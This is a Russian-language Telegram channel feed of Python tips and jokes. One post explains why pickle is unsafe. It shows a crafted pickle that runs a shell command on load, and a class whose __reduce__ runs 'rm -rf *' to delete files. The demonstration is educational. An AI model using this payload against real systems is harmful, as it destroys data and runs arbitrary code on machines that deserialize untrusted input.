Cool and Fun Python
540 subscribers
30 photos
8 videos
1 file
33 links
Крутой и весёлый Python. Случаи из практики и не только.
Download Telegram
Поздравляю всех подписчиков канала с Новым годом! 🎄

Творческих успехов, завершённых pet-проектов, меньше горящих дедлайнов и больше кода в удовольствие. 🎁

В новом году вас ждут небольшие посты на канале, интересные авторские статьи на Хабре и конечно же ITшный юмор. 🧑‍💻

Живите долго и процветайте. До новых встреч. 🖖

P.S. Картинка к посту создана нейросетью специально для этого поста. 🤓
🍾8
Бонусная картинка для любителей ставить KDE 2 под FreeBSD 😊
🍓6
Встретил на просторах сети эту картинку

Слышали ли вы о том, что ИИ умеет рисовать картины по текстовому запросу?
Модели, обучение, тестирование... Много времени, крутые видеокарты, сложные манипуляции... Ага, как на кадре слева. 🤯
Захотелось научить всех рисовать так же легко и просто, как мост на кадре справа. Ловите ссылку. Делитесь запросами и их результатами в комментариях. 👨‍🎨

Кстати, со старым новым годом вас 🎄
👍4👨‍💻1
Поздравляем с днём рождения великодушного пожизненного диктатора - Гвидо Ван Россума 🎂
🎉11👍6🤩3
От 🌹 лица 🌹 IT 🌹 сообщества 🌹 поздравляю 🌹 лучшую 🌹 половину 🌹 канала 🌹 с 🌹 международным 🌹 женским 🌹 днём 🌹
Please open Telegram to view this post
VIEW IN TELEGRAM
9💅2
Немного Python Fun 😂🤣😂

Оживить канал. Напомнить о нём подписчикам. Заодно и админу. Чтобы за выходные подготовил свежий пост. До скорой встречи
👍5❤‍🔥2🔥2
О Markdown и Телеграм

Если простыми словами, то Markdown превращает символы в оформление. Это язык разметки, как и HTML. Например двойное подчеркивание ➡️ __ ⬅️ до и после слова делает его курсивным. Как видите Телеграм поддерживает Markdown.

После очередного обновления в Телеграм появилась подсветка синтаксиса. Работает так:

\\ \\ \\` python # три открывающих апострофа и название вашего ЯП
Ваш код
\
\ \ # три закрывающих апострофа

python
print('Hello world!')



Пишите свои примеры в комментариях

P.S. В прошлых статьях также улучшено форматирование
👍6🆒1
Итоги голосования. Python на втором месте 🥈 Не хватило всего 30 голосов. Мы могли это сделать. Но сделаем в следующем году
А пока всех с наступающими праздниками. Да прибудет с вами любимый язык программирования ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
2👏1👨‍💻1
Добрый вечер, коллеги!
С наступившим 2024 годом. Как ваше самочувствие? Может хотите маринованных огурчиков, огуречного рассола? 🥒

Модуль pickle
Помимо всем привычного и безопасного JSON для сериализации и десериализации данных в Python есть модуль pickle, выполняющий аналогичные действия с питоновскими объектами

Важно! Модуль pickle небезопасен. Распаковывайте только те данные, которым вы доверяете.

Держите простой пример маринования трёх объектов в один файл:
import pickle

obj1 = {'name': 'Alice', 'age': 25}
obj2 = [1, 2, 3, 4, 5]
obj3 = ('a', 'b', 'c')

with open('data.pickle', 'wb') as f:
pickle.dump(obj1, f)
pickle.dump(obj2, f)
pickle.dump(obj3, f)
В результате получим бинарный data.pickle с неудобным для чтения человеком содержимым, примерно таким:
 �        }�(� name�� Alice�� age�K u.� �        ]�(K K K K K e.� �        � a�� b�� c���.
Но если спустя время нам понадобятся наши словари и списки, достаём разносолы из файла:
import pickle

with open('data.pickle', 'rb') as f:
loaded_obj1 = pickle.load(f)
loaded_obj2 = pickle.load(f)
loaded_obj3 = pickle.load(f)

print(loaded_obj1) # {'name': 'Alice', 'age': 25}
print(loaded_obj2) # [1, 2, 3, 4, 5]
print(loaded_obj3) # ('a', 'b', 'c')
Успехов в новом году. И не только в консервациях 😉
👍6🔥1😈1
Продолжаем мариновать объекты Python. Начало тут

Чем же так небезопасен pickle? В первую очередь программистом, который его использует неправильно.
Ловите пример:
import pickle

res = pickle.loads(b"cos\nsystem\n(S'echo Hello world!'\ntR.")
В результате загрузки данных из строки байт в терминал отправится сообщение "Hello world!". Немного не то, для чего создавался модуль. Кстати, в переменной res будет хранится ноль, а не текст или команда.

Но почему так? Дело в том, что модуль выполняет дандер __reduce__ замаринованного объекта в процессе преобразования файла/строки в объекты Python.
import pickle
import os


class MaliciousCode:
def __reduce__(self):
# При вызове функции pickle.load() будет выполнена команда удаления всех файлов в текущей директории
return (os.system, ('rm -rf *',))


malicious_object = MaliciousCode()

with open('data.pickle', 'wb') as file:
pickle.dump(malicious_object, file)

with open('data.pickle', 'rb') as file:
loaded_object = pickle.load(file)
Отличных новогодних праздников. И не стреляйте себе в ногу 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🍾1
Праздники подходят к концу. А идеи для канала регулярно появляются 💡

Начнём пост с функции генерации уникальных токенов:
# Импортируем функцию token_urlsafe из модуля secrets
from secrets import token_urlsafe

# Определяем функцию generate_token с параметрами n и prefix, по умолчанию n=5, prefix='/'
def generate_token(n=5, prefix="/"):
"""Генерирует токен с префиксом для короткого url размерностью n без символа "-" в токене."""
# Входим в бесконечный цикл
while True:
# Генерируем случайный токен и добавляем префикс
token = f"{prefix}{token_urlsafe(n)}"
# Проверяем, содержит ли токен символ "-"
if "-" not in token:
# Если не содержит, то выходим из цикла
break
# Возвращаем значение переменной token
return token
А теперь вспомним про моржовый оператор в Python. Писал про него 🔗тут и 🔗тут.
Вспомнили? Тогда перепишем код покороче:
from secrets import token_urlsafe

def generate_token(n=5, prefix="/"):
while "-" in (token := f"{prefix}{token_urlsafe(n)}"):
pass
return token
Цикл, который ничего не делает в теле цикла, много чего делает в условии цикла.
Забирайте лайфхак в копилку 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21
Для начала признаюсь, что не люблю однострочники. Особенно те, которые уходят за край второго 😱 монитора. Код должен быть в первую очередь читаемым и понятным. Но моржовый оператор из прошлого поста вызывал бурную активность в узких кругах. Поэтому ловите финальную версию:
from secrets import token_urlsafe

def generate_token(n=5, prefix="/"):
"""Генерирует токен с префиксом для короткого url размерностью n, исключая символы двойного прочтения."""
while (token := token_urlsafe(n)) and any(char in token for char in ("-", "_", "O", "l", "I", "0", "1",)):
pass
return f"{prefix}{token}"

Финальная версия, из прода. Ещё тёплая. Тёплых вам выходных 🫶

✍️ - беру на вооружение
🤯 - как это работает?
🎉 - пятница, время отдохнуть от кода
Please open Telegram to view this post
VIEW IN TELEGRAM
6🤯4🎉3
👍3
Сейчас PyCharm активно вошёл в мою жизнь. Python основной ЯП, поэтому нет смысла изобретать велосипед. Но даже для Python вполне можно использовать Visual Studio Code или IntelliJ IDEA. А можно покодить в Sublime Text, Atom или Notepad++.
Если же выйти за рамки змеиного языка, вспоминаются другие продукты JetBrains, а также Eclipse, Nano и Vim.

А какими IDE и редакторами кода пользуетесь вы? Чем пользовались раньше? Пиши в комментариях и голосуйте в опросе выше

Продолжение в комментах...
👍2🔥1
Очевидное рядом или проверка длинны коллекции без использования функции проверки длинны коллекции 🫣

Посмотрите на два простых примера кода. Какой из них работает быстрее и почему?

Вариант 1
my_list = []
...
# наполняем список данными
...
while my_list:
print(my_list.pop())
Вариант 2
my_list = []
...
# наполняем список данными
...
while len(my_list) > 0:
print(my_list.pop())
Для опытного разработчика очевидно, что оптимален первый вариант.

Почему?
Список, как и другие коллекция Python - объект. Внутри объекта хранятся не только данные (на самом деле не данные, а указатели на данные), но и полезная информация. Одна из таких полезностей - количество элементов коллекции. Это целое число, которое автоматически меняется при добавлении и удалении элементов. Объект коллекции всегда помнит сколько в нём элементов.

Вариант 1 обращается к количеству напрямую, получает целое число и если оно ноль, у нас False. А если не ноль - True.

Вариант 2 вызывает функцию len(), которая обращается к счётчику количества элементов в коллекции и получает целое число. Если число больше нуля, у нас True. А если нет - False.

Очевидно, что получение int и его преобразование к bool работает быстрее, чем вызов функции, которая возвращает int для сравнения с другим int и получения bool 🧐

P.S. Для любителей асимптотики. Оба варианта работают за O(1) 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
👍611
This media is not supported in your browser
VIEW IN TELEGRAM
Угадайте кто из великодушных диктаторов сегодня отмечает свой день рождения? 🤔
Поздравляем Гвидо Ван Россума с 0b1000100 летием🎂
Please open Telegram to view this post
VIEW IN TELEGRAM
3🍾2
Какие числовые типы данных есть в Python?

Отличный вопрос для начала собеседования. Забавно, но большинство отвечают на него: «float и int». И это хороший, но неполный ответ новичка.
Что же творится с числами в Python на самом деле?

- float - вещественные числа. Точнее они хотят казаться вещественными. Но фиксированное число байт для их хранения не позволяет добиться желаемой точности. float - имеют ограниченную точность для хранения вещественных чисел. Зато умеют быть бесконечностью - float("inf") и даже не числом - float("Nan").

- int - целые числа. В Python они "резиновые". Для хранения целого выделяется столько байт, сколько нужно для его хранения. Никаких big int, long и т.п. в Python нет, потому что обычный int их заменяет.

- bool - логический тип, который в Python частный случай int. Представлен в двух вариантах: True и False. При приведению к int превращаются в 1 и 0 соответственно. Преобразование int -> bool даёт True для любых целых кроме нуля.

- complex - комплексные числа, они же числа с мнимой единицей. Особенностью является то, что в математике мнимая единица записывается как i, а в Python как j. Впрочем, к записям подобным 3+2j быстро привыкаешь.

- decimal - отдельный модуль для хранения вещественных чисел без проблем с точностью. Выделяет столько памяти, сколько нужно для хранения мантиссы и основания. Обязательно заменяет float везде, где важна каждая цифра после запятой: деньги, расчёты с высокой точностью и т.п.

- fraction - дробные числа. Если надо посчитать ⅓+⅘ и вообще работать с дробями, не нужно изобретать велосипед. Модуль отлично справляется с дробной математикой.
👍7🔥3🤓1
Раскладываем по полочкам очевидное (как показывает практика не для всех)

CRUD расшифровывается как:
- create (создать);
- read (прочитать);
- update (обновить);
- delete (удалить).

Когда речь идёт о работе с базой данных используются следующие команды:
- INSERT (вставить);
- SELECT (выбрать);
- UPDATE (обновить);
- DELETE (удалить).

Как видим есть схожие с CRUD команды, а есть отличные.

Идём дальше. При взаимодействии клиента с сервером часто используют REST API, отправляют следующие запросы:
- POST (опубликовать)
- GET (получить);
- PUT (положить);
- DELETE (удалить).

Так, удаление есть и тут. Хоть где-то стабильность.

Смотрим в код, а там функции с именами вида:
- add (добавить);
- get (получить);
- change (изменить);
- delete (удалить).

Вот мы и добрались до истины. Все хотят удалять. Все варианты имеют единую логику создания, просмотра, изменения и удаления. Просто названия отличаются. Но нас же это не запутает?

P.S. Спасибо Кэпу за post. Надеюсь он поможет новичкам найти свой put в мире IT 😉
👍5🆒2
Воскресный привет!

На связи морж и его оператор. Ловите вариант использования := внутри if
def func(num: str):
if num.isdigit() and (index := int(num)) < MAX_INDEX:
...
Как вам?

✍️ - беру на вооружение
🤯 - как это работает?
🎉 - выходные для отдыха, а не кода
🤯105🎉3🔥1😁1